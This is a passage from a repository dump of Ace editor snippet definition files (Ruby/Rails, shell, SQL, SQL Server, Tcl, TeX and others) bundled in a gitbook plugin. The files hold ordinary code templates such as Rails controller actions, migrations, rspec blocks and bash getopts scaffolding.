do\\n\t\t${2}\\n\tend\\nsnippet asrt\\n\tassert_respond_to ${1:object}, :${2:method}${3}\\nsnippet ass assert_same(..)\\n\tassert_same ${1:expected}, ${2:actual}${3}\\nsnippet ass assert_send(..)\\n\tassert_send [${1:object}, :${2:message}, ${3:args}]${4}\\nsnippet asns\\n\tassert_not_same ${1:unexpected}, ${2:actual}${3}\\nsnippet ast\\n\tassert_throws :${1:expected} { ${2} }\\nsnippet astd\\n\tassert_throws :${1:expected} do\\n\t\t${2}\\n\tend\\nsnippet asnt\\n\tassert_nothing_thrown { ${1} }\\nsnippet asntd\\n\tassert_nothing_thrown do\\n\t\t${1}\\n\tend\\nsnippet fl\\n\tflunk \"${1:Failure message.}\"${2}\\n# Benchmark.bmbm do .. end\\nsnippet bm-\\n\tTESTS = ${1:10_000}\\n\tBenchmark.bmbm do |results|\\n\t\t${2}\\n\tend\\nsnippet rep\\n\tresults.report(\"${1:name}:\") { TESTS.times { ${2} }}\\n# Marshal.dump(.., file)\\nsnippet Md\\n\tFile.open(${1:\"path/to/file.dump\"}, \"wb\") { |${2:file}| Marshal.dump(${3:obj}, $2) }${4}\\n# Mashal.load(obj)\\nsnippet Ml\\n\tFile.open(${1:\"path/to/file.dump\"}, \"rb\") { |${2:file}| Marshal.load($2) }${3}\\n# deep_copy(..)\\nsnippet deec\\n\tMarshal.load(Marshal.dump(${1:obj_to_copy}))${2}\\nsnippet Pn-\\n\tPStore.new(${1:\"file_name.pstore\"})${2}\\nsnippet tra\\n\ttransaction(${1:true}) { ${2} }\\n# xmlread(..)\\nsnippet xml-\\n\tREXML::Document.new(File.read(${1:\"path/to/file\"}))${2}\\n# xpath(..) { .. }\\nsnippet xpa\\n\telements.each(${1:\"//Xpath\"}) do |${2:node}|\\n\t\t${3}\\n\tend\\n# class_from_name()\\nsnippet clafn\\n\tsplit(\"::\").inject(Object) { |par, const| par.const_get(const) }\\n# singleton_class()\\nsnippet sinc\\n\tclass << self; self end\\nsnippet nam\\n\tnamespace :${1:`Filename()`} do\\n\t\t${2}\\n\tend\\nsnippet tas\\n\tdesc \"${1:Task description}\"\\n\ttask :${2:task_name => [:dependent, :tasks]} do\\n\t\t${3}\\n\tend\\n# block\\nsnippet b\\n\t{ |${1:var}| ${2} }\\nsnippet begin\\n\tbegin\\n\t\traise \\'A test exception.\\'\\n\trescue Exception => e\\n\t\tputs e.message\\n\t\tputs e.backtrace.inspect\\n\telse\\n\t\t# other exception\\n\tensure\\n\t\t# always executed\\n\tend\\n\\n#debugging\\nsnippet debug\\n\trequire \\'ruby-debug\\'; debugger; true;\\nsnippet pry\\n\trequire \\'pry\\'; binding.pry\\n\\n#############################################\\n# Rails snippets - for pure Ruby, see above #\\n#############################################\\nsnippet art\\n\tassert_redirected_to ${1::action => \"${2:index}\"}\\nsnippet artnp\\n\tassert_redirected_to ${1:parent}_${2:child}_path(${3:@$1}, ${4:@$2})\\nsnippet artnpp\\n\tassert_redirected_to ${1:parent}_${2:child}_path(${3:@$1})\\nsnippet artp\\n\tassert_redirected_to ${1:model}_path(${2:@$1})\\nsnippet artpp\\n\tassert_redirected_to ${1:model}s_path\\nsnippet asd\\n\tassert_difference \"${1:Model}.${2:count}\", $1 do\\n\t\t${3}\\n\tend\\nsnippet asnd\\n\tassert_no_difference \"${1:Model}.${2:count}\" do\\n\t\t${3}\\n\tend\\nsnippet asre\\n\tassert_response :${1:success}, @response.body${2}\\nsnippet asrj\\n\tassert_rjs :${1:replace}, \"${2:dom id}\"\\nsnippet ass assert_select(..)\\n\tassert_select \\'${1:path}\\', :${2:text} => \\'${3:inner_html\\' ${4:do}\\nsnippet bf\\n\tbefore_filter :${1:method}\\nsnippet bt\\n\tbelongs_to :${1:association}\\nsnippet crw\\n\tcattr_accessor :${1:attr_names}\\nsnippet defcreate\\n\tdef create\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.new(params[:$1])\\n\\n\t\trespond_to do |wants|\\n\t\t\tif @$1.save\\n\t\t\t\tflash[:notice] = \\'$2 was successfully created.\\'\\n\t\t\t\twants.html { redirect_to(@$1) }\\n\t\t\t\twants.xml  { render :xml => @$1, :status => :created, :location => @$1 }\\n\t\t\telse\\n\t\t\t\twants.html { render :action => \"new\" }\\n\t\t\t\twants.xml  { render :xml => @$1.errors, :status => :unprocessable_entity }\\n\t\t\tend\\n\t\tend\\n\tend${3}\\nsnippet defdestroy\\n\tdef destroy\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\t\t@$1.destroy\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html { redirect_to($1s_url) }\\n\t\t\twants.xml  { head :ok }\\n\t\tend\\n\tend${3}\\nsnippet defedit\\n\tdef edit\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\tend\\nsnippet defindex\\n\tdef index\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.all\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html # index.html.erb\\n\t\t\twants.xml  { render :xml => @$1s }\\n\t\tend\\n\tend${3}\\nsnippet defnew\\n\tdef new\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.new\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html # new.html.erb\\n\t\t\twants.xml  { render :xml => @$1 }\\n\t\tend\\n\tend${3}\\nsnippet defshow\\n\tdef show\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html # show.html.erb\\n\t\t\twants.xml  { render :xml => @$1 }\\n\t\tend\\n\tend${3}\\nsnippet defupdate\\n\tdef update\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\\n\t\trespond_to do |wants|\\n\t\t\tif @$1.update_attributes(params[:$1])\\n\t\t\t\tflash[:notice] = \\'$2 was successfully updated.\\'\\n\t\t\t\twants.html { redirect_to(@$1) }\\n\t\t\t\twants.xml  { head :ok }\\n\t\t\telse\\n\t\t\t\twants.html { render :action => \"edit\" }\\n\t\t\t\twants.xml  { render :xml => @$1.errors, :status => :unprocessable_entity }\\n\t\t\tend\\n\t\tend\\n\tend${3}\\nsnippet flash\\n\tflash[:${1:notice}] = \"${2}\"\\nsnippet habtm\\n\thas_and_belongs_to_many :${1:object}, :join_table => \"${2:table_name}\", :foreign_key => \"${3}_id\"${4}\\nsnippet hm\\n\thas_many :${1:object}\\nsnippet hmd\\n\thas_many :${1:other}s, :class_name => \"${2:$1}\", :foreign_key => \"${3:$1}_id\", :dependent => :destroy${4}\\nsnippet hmt\\n\thas_many :${1:object}, :through => :${2:object}\\nsnippet ho\\n\thas_one :${1:object}\\nsnippet i18\\n\tI18n.t(\\'${1:type.key}\\')${2}\\nsnippet ist\\n\t<%= image_submit_tag(\"${1:agree.png}\", :id => \"${2:id}\"${3} %>\\nsnippet log\\n\tRails.logger.${1:debug} ${2}\\nsnippet log2\\n\tRAILS_DEFAULT_LOGGER.${1:debug} ${2}\\nsnippet logd\\n\tlogger.debug { \"${1:message}\" }${2}\\nsnippet loge\\n\tlogger.error { \"${1:message}\" }${2}\\nsnippet logf\\n\tlogger.fatal { \"${1:message}\" }${2}\\nsnippet logi\\n\tlogger.info { \"${1:message}\" }${2}\\nsnippet logw\\n\tlogger.warn { \"${1:message}\" }${2}\\nsnippet mapc\\n\t${1:map}.${2:connect} \\'${3:controller/:action/:id}\\'\\nsnippet mapca\\n\t${1:map}.catch_all \"*${2:anything}\", :controller => \"${3:default}\", :action => \"${4:error}\"${5}\\nsnippet mapr\\n\t${1:map}.resource :${2:resource}\\nsnippet maprs\\n\t${1:map}.resources :${2:resource}\\nsnippet mapwo\\n\t${1:map}.with_options :${2:controller} => \\'${3:thing}\\' do |$3|\\n\t\t${4}\\n\tend\\nsnippet mbs\\n\tbefore_save :${1:method}\\nsnippet mcht\\n\tchange_table :${1:table_name} do |t|\\n\t\t${2}\\n\tend\\nsnippet mp\\n\tmap(&:${1:id})\\nsnippet mrw\\n\tmattr_accessor :${1:attr_names}\\nsnippet oa\\n\torder(\"${1:field}\")\\nsnippet od\\n\torder(\"${1:field} DESC\")\\nsnippet pa\\n\tparams[:${1:id}]${2}\\nsnippet ra\\n\trender :action => \"${1:action}\"\\nsnippet ral\\n\trender :action => \"${1:action}\", :layout => \"${2:layoutname}\"\\nsnippet rest\\n\trespond_to do |wants|\\n\t\twants.${1:html} { ${2} }\\n\tend\\nsnippet rf\\n\trender :file => \"${1:filepath}\"\\nsnippet rfu\\n\trender :file => \"${1:filepath}\", :use_full_path => ${2:false}\\nsnippet ri\\n\trender :inline => \"${1:<%= \\'hello\\' %>}\"\\nsnippet ril\\n\trender :inline => \"${1:<%= \\'hello\\' %>}\", :locals => { ${2::name} => \"${3:value}\"${4} }\\nsnippet rit\\n\trender :inline => \"${1:<%= \\'hello\\' %>}\", :type => ${2::rxml}\\nsnippet rjson\\n\trender :json => ${1:text to render}\\nsnippet rl\\n\trender :layout => \"${1:layoutname}\"\\nsnippet rn\\n\trender :nothing => ${1:true}\\nsnippet rns\\n\trender :nothing => ${1:true}, :status => ${2:401}\\nsnippet rp\\n\trender :partial => \"${1:item}\"\\nsnippet rpc\\n\trender :partial => \"${1:item}\", :collection => ${2:@$1s}\\nsnippet rpl\\n\trender :partial => \"${1:item}\", :locals => { :${2:$1} => ${3:@$1}\\nsnippet rpo\\n\trender :partial => \"${1:item}\", :object => ${2:@$1}\\nsnippet rps\\n\trender :partial => \"${1:item}\", :status => ${2:500}\\nsnippet rt\\n\trender :text => \"${1:text to render}\"\\nsnippet rtl\\n\trender :text => \"${1:text to render}\", :layout => \"${2:layoutname}\"\\nsnippet rtlt\\n\trender :text => \"${1:text to render}\", :layout => ${2:true}\\nsnippet rts\\n\trender :text => \"${1:text to render}\", :status => ${2:401}\\nsnippet ru\\n\trender :update do |${1:page}|\\n\t\t$1.${2}\\n\tend\\nsnippet rxml\\n\trender :xml => ${1:text to render}\\nsnippet sc\\n\tscope :${1:name}, :where(:@${2:field} => ${3:value})\\nsnippet sl\\n\tscope :${1:name}, lambda do |${2:value}|\\n\t\twhere(\"${3:field = ?}\", ${4:bind var})\\n\tend\\nsnippet sha1\\n\tDigest::SHA1.hexdigest(${1:string})\\nsnippet sweeper\\n\tclass ${1:ModelClassName}Sweeper < ActionController::Caching::Sweeper\\n\t\tobserve $1\\n\\n\t\tdef after_save(${2:model_class_name})\\n\t\t\texpire_cache($2)\\n\t\tend\\n\\n\t\tdef after_destroy($2)\\n\t\t\texpire_cache($2)\\n\t\tend\\n\\n\t\tdef expire_cache($2)\\n\t\t\texpire_page\\n\t\tend\\n\tend\\nsnippet tcb\\n\tt.boolean :${1:title}\\n\t${2}\\nsnippet tcbi\\n\tt.binary :${1:title}, :limit => ${2:2}.megabytes\\n\t${3}\\nsnippet tcd\\n\tt.decimal :${1:title}, :precision => ${2:10}, :scale => ${3:2}\\n\t${4}\\nsnippet tcda\\n\tt.date :${1:title}\\n\t${2}\\nsnippet tcdt\\n\tt.datetime :${1:title}\\n\t${2}\\nsnippet tcf\\n\tt.float :${1:title}\\n\t${2}\\nsnippet tch\\n\tt.change :${1:name}, :${2:string}, :${3:limit} => ${4:80}\\n\t${5}\\nsnippet tci\\n\tt.integer :${1:title}\\n\t${2}\\nsnippet tcl\\n\tt.integer :lock_version, :null => false, :default => 0\\n\t${1}\\nsnippet tcr\\n\tt.references :${1:taggable}, :polymorphic => { :default => \\'${2:Photo}\\' }\\n\t${3}\\nsnippet tcs\\n\tt.string :${1:title}\\n\t${2}\\nsnippet tct\\n\tt.text :${1:title}\\n\t${2}\\nsnippet tcti\\n\tt.time :${1:title}\\n\t${2}\\nsnippet tcts\\n\tt.timestamp :${1:title}\\n\t${2}\\nsnippet tctss\\n\tt.timestamps\\n\t${1}\\nsnippet va\\n\tvalidates_associated :${1:attribute}\\nsnippet vao\\n\tvalidates_acceptance_of :${1:terms}\\nsnippet vc\\n\tvalidates_confirmation_of :${1:attribute}\\nsnippet ve\\n\tvalidates_exclusion_of :${1:attribute}, :in => ${2:%w( mov avi )}\\nsnippet vf\\n\tvalidates_format_of :${1:attribute}, :with => /${2:regex}/\\nsnippet vi\\n\tvalidates_inclusion_of :${1:attribute}, :in => %w(${2: mov avi })\\nsnippet vl\\n\tvalidates_length_of :${1:attribute}, :within => ${2:3}..${3:20}\\nsnippet vn\\n\tvalidates_numericality_of :${1:attribute}\\nsnippet vpo\\n\tvalidates_presence_of :${1:attribute}\\nsnippet vu\\n\tvalidates_uniqueness_of :${1:attribute}\\nsnippet wants\\n\twants.${1:js|xml|html} { ${2} }\\nsnippet wc\\n\twhere(${1:\"conditions\"}${2:, bind_var})\\nsnippet wh\\n\twhere(${1:field} => ${2:value})\\nsnippet xdelete\\n\txhr :delete, :${1:destroy}, :id => ${2:1}${3}\\nsnippet xget\\n\txhr :get, :${1:show}, :id => ${2:1}${3}\\nsnippet xpost\\n\txhr :post, :${1:create}, :${2:object} => { ${3} }\\nsnippet xput\\n\txhr :put, :${1:update}, :id => ${2:1}, :${3:object} => { ${4} }${5}\\nsnippet test\\n\ttest \"should ${1:do something}\" do\\n\t\t${2}\\n\tend\\n#migrations\\nsnippet mac\\n\tadd_column :${1:table_name}, :${2:column_name}, :${3:data_type}\\nsnippet mrc\\n\tremove_column :${1:table_name}, :${2:column_name}\\nsnippet mrnc\\n\trename_column :${1:table_name}, :${2:old_column_name}, :${3:new_column_name}\\nsnippet mcc\\n\tchange_column :${1:table}, :${2:column}, :${3:type}\\nsnippet mccc\\n\tt.column :${1:title}, :${2:string}\\nsnippet mct\\n\tcreate_table :${1:table_name} do |t|\\n\t\tt.column :${2:name}, :${3:type}\\n\tend\\nsnippet migration\\n\tclass ${1:class_name} < ActiveRecord::Migration\\n\t\tdef self.up\\n\t\t\t${2}\\n\t\tend\\n\\n\t\tdef self.down\\n\t\tend\\n\tend\\n\\nsnippet trc\\n\tt.remove :${1:column}\\nsnippet tre\\n\tt.rename :${1:old_column_name}, :${2:new_column_name}\\n\t${3}\\nsnippet tref\\n\tt.references :${1:model}\\n\\n#rspec\\nsnippet it\\n\tit \"${1:spec_name}\" do\\n\t\t${2}\\n\tend\\nsnippet itp\\n\tit \"${1:spec_name}\"\\n\t${2}\\nsnippet desc\\n\tdescribe ${1:class_name} do\\n\t\t${2}\\n\tend\\nsnippet cont\\n\tcontext \"${1:message}\" do\\n\t\t${2}\\n\tend\\nsnippet bef\\n\tbefore :${1:each} do\\n\t\t${2}\\n\tend\\nsnippet aft\\n\tafter :${1:each} do\\n\t\t${2}\\n\tend\\n',t.scope=\"ruby\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/rust.js",
    "content": "define(\"ace/snippets/rust\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"rust\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/sass.js",
    "content": "define(\"ace/snippets/sass\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"sass\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/scad.js",
    "content": "define(\"ace/snippets/scad\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scad\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/scala.js",
    "content": "define(\"ace/snippets/scala\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scala\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/scheme.js",
    "content": "define(\"ace/snippets/scheme\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scheme\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/scss.js",
    "content": "define(\"ace/snippets/scss\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scss\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/sh.js",
    "content": "define(\"ace/snippets/sh\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Shebang. Executing bash via /usr/bin/env makes scripts more portable.\\nsnippet #!\\n\t#!/usr/bin/env bash\\n\t\\nsnippet if\\n\tif [[ ${1:condition} ]]; then\\n\t\t${2:#statements}\\n\tfi\\nsnippet elif\\n\telif [[ ${1:condition} ]]; then\\n\t\t${2:#statements}\\nsnippet for\\n\tfor (( ${2:i} = 0; $2 < ${1:count}; $2++ )); do\\n\t\t${3:#statements}\\n\tdone\\nsnippet fori\\n\tfor ${1:needle} in ${2:haystack} ; do\\n\t\t${3:#statements}\\n\tdone\\nsnippet wh\\n\twhile [[ ${1:condition} ]]; do\\n\t\t${2:#statements}\\n\tdone\\nsnippet until\\n\tuntil [[ ${1:condition} ]]; do\\n\t\t${2:#statements}\\n\tdone\\nsnippet case\\n\tcase ${1:word} in\\n\t\t${2:pattern})\\n\t\t\t${3};;\\n\tesac\\nsnippet go \\n\twhile getopts \\'${1:o}\\' ${2:opts} \\n\tdo \\n\t\tcase $$2 in\\n\t\t${3:o0})\\n\t\t\t${4:#staments};;\\n\t\tesac\\n\tdone\\n# Set SCRIPT_DIR variable to directory script is located.\\nsnippet sdir\\n\tSCRIPT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\\n# getopt\\nsnippet getopt\\n\t__ScriptVersion=\"${1:version}\"\\n\\n\t#===  FUNCTION  ================================================================\\n\t#         NAME:  usage\\n\t#  DESCRIPTION:  Display usage information.\\n\t#===============================================================================\\n\tfunction usage ()\\n\t{\\n\t\t\tcat <<- EOT\\n\\n\t  Usage :  $${0:0} [options] [--] \\n\\n\t  Options: \\n\t  -h|help       Display this message\\n\t  -v|version    Display script version\\n\\n\t\t\tEOT\\n\t}    # ----------  end of function usage  ----------\\n\\n\t#-----------------------------------------------------------------------\\n\t#  Handle command line arguments\\n\t#-----------------------------------------------------------------------\\n\\n\twhile getopts \":hv\" opt\\n\tdo\\n\t  case $opt in\\n\\n\t\th|help     )  usage; exit 0   ;;\\n\\n\t\tv|version  )  echo \"$${0:0} -- Version $__ScriptVersion\"; exit 0   ;;\\n\\n\t\t\\\\? )  echo -e \"\\\\n  Option does not exist : $OPTARG\\\\n\"\\n\t\t\t  usage; exit 1   ;;\\n\\n\t  esac    # --- end of case ---\\n\tdone\\n\tshift $(($OPTIND-1))\\n\\n',t.scope=\"sh\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/sjs.js",
    "content": "define(\"ace/snippets/sjs\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"sjs\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/smarty.js",
    "content": "define(\"ace/snippets/smarty\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"smarty\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/snippets.js",
    "content": "define(\"ace/snippets/snippets\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# snippets for making snippets :)\\nsnippet snip\\n\tsnippet ${1:trigger}\\n\t\t${2}\\nsnippet msnip\\n\tsnippet ${1:trigger} ${2:description}\\n\t\t${3}\\nsnippet v\\n\t{VISUAL}\\n\",t.scope=\"snippets\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/soy_template.js",
    "content": "define(\"ace/snippets/soy_template\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"soy_template\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/space.js",
    "content": "define(\"ace/snippets/space\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"space\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/sql.js",
    "content": "define(\"ace/snippets/sql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet tbl\\n\tcreate table ${1:table} (\\n\t\t${2:columns}\\n\t);\\nsnippet col\\n\t${1:name}\t${2:type}\t${3:default ''}\t${4:not null}\\nsnippet ccol\\n\t${1:name}\tvarchar2(${2:size})\t${3:default ''}\t${4:not null}\\nsnippet ncol\\n\t${1:name}\tnumber\t${3:default 0}\t${4:not null}\\nsnippet dcol\\n\t${1:name}\tdate\t${3:default sysdate}\t${4:not null}\\nsnippet ind\\n\tcreate index ${3:$1_$2} on ${1:table}(${2:column});\\nsnippet uind\\n\tcreate unique index ${1:name} on ${2:table}(${3:column});\\nsnippet tblcom\\n\tcomment on table ${1:table} is '${2:comment}';\\nsnippet colcom\\n\tcomment on column ${1:table}.${2:column} is '${3:comment}';\\nsnippet addcol\\n\talter table ${1:table} add (${2:column} ${3:type});\\nsnippet seq\\n\tcreate sequence ${1:name} start with ${2:1} increment by ${3:1} minvalue ${4:1};\\nsnippet s*\\n\tselect * from ${1:table}\\n\",t.scope=\"sql\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/sqlserver.js",
    "content": "define(\"ace/snippets/sqlserver\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# ISNULL\\nsnippet isnull\\n\tISNULL(${1:check_expression}, ${2:replacement_value})\\n# FORMAT\\nsnippet format\\n\tFORMAT(${1:value}, ${2:format})\\n# CAST\\nsnippet cast\\n\tCAST(${1:expression} AS ${2:data_type})\\n# CONVERT\\nsnippet convert\\n\tCONVERT(${1:data_type}, ${2:expression})\\n# DATEPART\\nsnippet datepart\\n\tDATEPART(${1:datepart}, ${2:date})\\n# DATEDIFF\\nsnippet datediff\\n\tDATEDIFF(${1:datepart}, ${2:startdate}, ${3:enddate})\\n# DATEADD\\nsnippet dateadd\\n\tDATEADD(${1:datepart}, ${2:number}, ${3:date})\\n# DATEFROMPARTS \\nsnippet datefromparts\\n\tDATEFROMPARTS(${1:year}, ${2:month}, ${3:day})\\n# OBJECT_DEFINITION\\nsnippet objectdef\\n\tSELECT OBJECT_DEFINITION(OBJECT_ID('${1:sys.server_permissions /*object name*/}'))\\n# STUFF XML\\nsnippet stuffxml\\n\tSTUFF((SELECT ', ' + ${1:ColumnName}\\n\t\tFROM ${2:TableName}\\n\t\tWHERE ${3:WhereClause}\\n\t\tFOR XML PATH('')), 1, 1, '') AS ${4:Alias}\\n\t${5:/*https://msdn.microsoft.com/en-us/library/ms188043.aspx*/}\\n# Create Procedure\\nsnippet createproc\\n\t-- =============================================\\n\t-- Author:\t\t${1:Author}\\n\t-- Create date: ${2:Date}\\n\t-- Description:\t${3:Description}\\n\t-- =============================================\\n\tCREATE PROCEDURE ${4:Procedure_Name}\\n\t\t${5:/*Add the parameters for the stored procedure here*/}\\n\tAS\\n\tBEGIN\\n\t\t-- SET NOCOUNT ON added to prevent extra result sets from interfering with SELECT statements.\\n\t\tSET NOCOUNT ON;\\n\t\t\\n\t\t${6:/*Add the T-SQL statements to compute the return value here*/}\\n\t\t\\n\tEND\\n\tGO\\n# Create Scalar Function\\nsnippet createfn\\n\t-- =============================================\\n\t-- Author:\t\t${1:Author}\\n\t-- Create date: ${2:Date}\\n\t-- Description:\t${3:Description}\\n\t-- =============================================\\n\tCREATE FUNCTION ${4:Scalar_Function_Name}\\n\t\t-- Add the parameters for the function here\\n\tRETURNS ${5:Function_Data_Type}\\n\tAS\\n\tBEGIN\\n\t\tDECLARE @Result ${5:Function_Data_Type}\\n\t\t\\n\t\t${6:/*Add the T-SQL statements to compute the return value here*/}\\n\t\t\\n\tEND\\n\tGO\",t.scope=\"sqlserver\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/stylus.js",
    "content": "define(\"ace/snippets/stylus\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"stylus\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/svg.js",
    "content": "define(\"ace/snippets/svg\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"svg\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/swift.js",
    "content": "define(\"ace/snippets/swift\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"swift\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/swig.js",
    "content": "define(\"ace/snippets/swig\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"swig\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/tcl.js",
    "content": "define(\"ace/snippets/tcl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# #!/usr/bin/env tclsh\\nsnippet #!\\n\t#!/usr/bin/env tclsh\\n\t\\n# Process\\nsnippet pro\\n\tproc ${1:function_name} {${2:args}} {\\n\t\t${3:#body ...}\\n\t}\\n#xif\\nsnippet xif\\n\t${1:expr}? ${2:true} : ${3:false}\\n# Conditional\\nsnippet if\\n\tif {${1}} {\\n\t\t${2:# body...}\\n\t}\\n# Conditional if..else\\nsnippet ife\\n\tif {${1}} {\\n\t\t${2:# body...}\\n\t} else {\\n\t\t${3:# else...}\\n\t}\\n# Conditional if..elsif..else\\nsnippet ifee\\n\tif {${1}} {\\n\t\t${2:# body...}\\n\t} elseif {${3}} {\\n\t\t${4:# elsif...}\\n\t} else {\\n\t\t${5:# else...}\\n\t}\\n# If catch then\\nsnippet ifc\\n\tif { [catch {${1:#do something...}} ${2:err}] } {\\n\t\t${3:# handle failure...}\\n\t}\\n# Catch\\nsnippet catch\\n\tcatch {${1}} ${2:err} ${3:options}\\n# While Loop\\nsnippet wh\\n\twhile {${1}} {\\n\t\t${2:# body...}\\n\t}\\n# For Loop\\nsnippet for\\n\tfor {set ${2:var} 0} {$$2 < ${1:count}} {${3:incr} $2} {\\n\t\t${4:# body...}\\n\t}\\n# Foreach Loop\\nsnippet fore\\n\tforeach ${1:x} {${2:#list}} {\\n\t\t${3:# body...}\\n\t}\\n# after ms script...\\nsnippet af\\n\tafter ${1:ms} ${2:#do something}\\n# after cancel id\\nsnippet afc\\n\tafter cancel ${1:id or script}\\n# after idle\\nsnippet afi\\n\tafter idle ${1:script}\\n# after info id\\nsnippet afin\\n\tafter info ${1:id}\\n# Expr\\nsnippet exp\\n\texpr {${1:#expression here}}\\n# Switch\\nsnippet sw\\n\tswitch ${1:var} {\\n\t\t${3:pattern 1} {\\n\t\t\t${4:#do something}\\n\t\t}\\n\t\tdefault {\\n\t\t\t${2:#do something}\\n\t\t}\\n\t}\\n# Case\\nsnippet ca\\n\t${1:pattern} {\\n\t\t${2:#do something}\\n\t}${3}\\n# Namespace eval\\nsnippet ns\\n\tnamespace eval ${1:path} {${2:#script...}}\\n# Namespace current\\nsnippet nsc\\n\tnamespace current\\n\",t.scope=\"tcl\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/tex.js",
    "content": "define(\"ace/snippets/tex\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"#PREAMBLE\\n#newcommand\\nsnippet nc\\n\t\\\\newcommand{\\\\${1:cmd}}[${2:opt}]{${3:realcmd}}${4}\\n#usepackage\\nsnippet up\\n\t\\\\usepackage[${1:[options}]{${2:package}}\\n#newunicodechar\\nsnippet nuc\\n\t\\\\newunicodechar{${1}}{${2:\\\\ensuremath}${3:tex-substitute}}}\\n#DeclareMathOperator\\nsnippet dmo\\n\t\\\\DeclareMathOperator{${1}}{${2}}\\n\\n#DOCUMENT\\n# \\\\begin{}...\\\\end{}\\nsnippet begin\\n\t\\\\begin{${1:env}}\\n\t\t${2}\\n\t\\\\end{$1}\\n# Tabular\\nsnippet tab\\n\t\\\\begin{${1:tabular}}{${2:c}}\\n\t${3}\\n\t\\\\end{$1}\\nsnippet thm\\n\t\\\\begin[${1:author}]{${2:thm}}\\n\t${3}\\n\t\\\\end{$1}\\nsnippet center\\n\t\\\\begin{center}\\n\t\t${1}\\n\t\\\\end{center}\\n# Align(ed)\\nsnippet ali\\n\t\\\\begin{align${1:ed}}\\n\t\t${2}\\n\t\\\\end{align$1}\\n# Gather(ed)\\nsnippet gat\\n\t\\\\begin{gather${1:ed}}\\n\t\t${2}\\n\t\\\\end{gather$1}\\n# Equation\\nsnippet eq\\n\t\\\\begin{equation}\\n\t\t${1}\\n\t\\\\end{equation}\\n# Equation\\nsnippet eq*\\n\t\\\\begin{equation*}\\n\t\t${1}\\n\t\\\\end{equation*}\\n# Unnumbered Equation\\nsnippet \\\\\\n\t\\\\[\\n\t\t${1}\\n\t\\\\]\\n# Enumerate\\nsnippet enum\\n\t\\\\begin{enumerate}\\n\t\t\\\\item ${1}\\n\t\\\\end{enumerate}\\n# Itemize\\nsnippet itemize\\n\t\\\\begin{itemize}\\n\t\t\\\\item ${1}\\n\t\\\\end{itemize}\\n# Description\\nsnippet desc\\n\t\\\\begin{description}\\n\t\t\\\\item[${1}] ${2}\\n\t\\\\end{description}\\n# Matrix\\nsnippet mat\\n\t\\\\begin{${1:p/b/v/V/B/small}matrix}\\n\t\t${2}\\n\t\\\\end{$1matrix}\\n# Cases\\nsnippet 